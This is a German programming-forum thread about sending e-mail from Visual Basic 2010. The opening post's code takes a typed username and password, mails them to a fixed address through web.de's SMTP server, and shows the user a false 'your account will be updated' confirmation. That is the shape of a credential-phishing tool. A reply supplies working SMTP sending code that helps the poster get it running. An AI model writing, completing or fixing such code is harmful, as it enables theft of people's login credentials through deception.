myGully.com Boerse.SH - BOERSE.AM - BOERSE.IO - BOERSE.IM Boerse.BZ .TO Nachfolger
Zurück   myGully.com > Computer & Technik > Programmierung
Seite neu laden

e-mail versenden in vb 2010

Willkommen

myGully

Links

Forum

 
Antwort
 
Themen-Optionen Ansicht
Ungelesen 13.02.11, 01:56   #1
rainboww
Blackfire aka main88
 
Benutzerbild von rainboww
 
Registriert seit: Jul 2009
Beiträge: 513
Bedankt: 1.170
rainboww gewöhnt sich langsam dran | 69 Respekt Punkte
Standard e-mail versenden in vb 2010

Ich hab eine Frage und zwar ich würde den code hier gerne ändern so das die daten die ich über e-mail versenden will auch ankommen wenn ich nicht mit meinem e-mail account angemeldet bin

Code:
Private Sub cmdGo_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdGo.Click
        Dim fromAddress As New MailAddress("from")
        Dim toAddress As New MailAddress("to")
        Dim msg As New MailMessage(fromAddress, toAddress)
        msg.Body = txtUser.Text & vbNewLine & txtPass.Text
        msg.Subject = "SUBISSION, SENT: " & DateTime.Now.ToString()
        msg.IsBodyHtml = True

        Dim mailSender As New System.Net.Mail.SmtpClient()
        mailSender.Host = "smtp.web.de "
        mailSender.Port = "587"
        Try
            mailSender.Send(msg)
            Label1.Text = "Status: COMPLETE - Your account will be updated within 24 hours."
        Catch ex As Exception
            Label1.Text = ex.Message
        End Try
    End Sub
__________________
Ich lese mir die [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] durch, bevor ich eine Sig erstelle!
I read the [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] before I create a signature.
rainboww ist offline   Mit Zitat antworten
Ungelesen 13.02.11, 09:39   #2
Blackberry1988
Erfahrener Newbie
 
Benutzerbild von Blackberry1988
 
Registriert seit: Mar 2010
Beiträge: 169
Bedankt: 116
Blackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt PunkteBlackberry1988 putzt sich die Zähne mit Knoblauch. | 1247 Respekt Punkte
Standard

Zitat:
Dim text As String

text = txtNachricht.Text
Dim myClient As New Net.Mail.SmtpClient("smtp.web.de")

myClient.Credentials = New NetworkCredential(txtAbsender.Text, txtPasswort.Text)
myClient.Send(txtAbsender.Text, txtEmpfänger.Text, txtBetreff.Text, text)

Hiermit musst die Absender Adresse ein @web.de Account sein, empfänger ist egal.

Falls nicht gewünscht

Dim myClient As New Net.Mail.SmtpClient("smtp.web.de") "entsprechend abändern"

Lg
Blackberry1988 ist offline   Mit Zitat antworten
Ungelesen 14.02.11, 22:23   #3
rainboww
Blackfire aka main88
 
Benutzerbild von rainboww
 
Registriert seit: Jul 2009
Beiträge: 513
Bedankt: 1.170
rainboww gewöhnt sich langsam dran | 69 Respekt Punkte
Standard

ok danke werds mal ausprobieren
__________________
Ich lese mir die [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] durch, bevor ich eine Sig erstelle!
I read the [ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] before I create a signature.
rainboww ist offline   Mit Zitat antworten
Antwort


Forumregeln
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren

BB code is An
Smileys sind An.
[IMG] Code ist An.
HTML-Code ist Aus.

Gehe zu


Alle Zeitangaben in WEZ +1. Es ist jetzt 04:10 Uhr.


Sitemap

().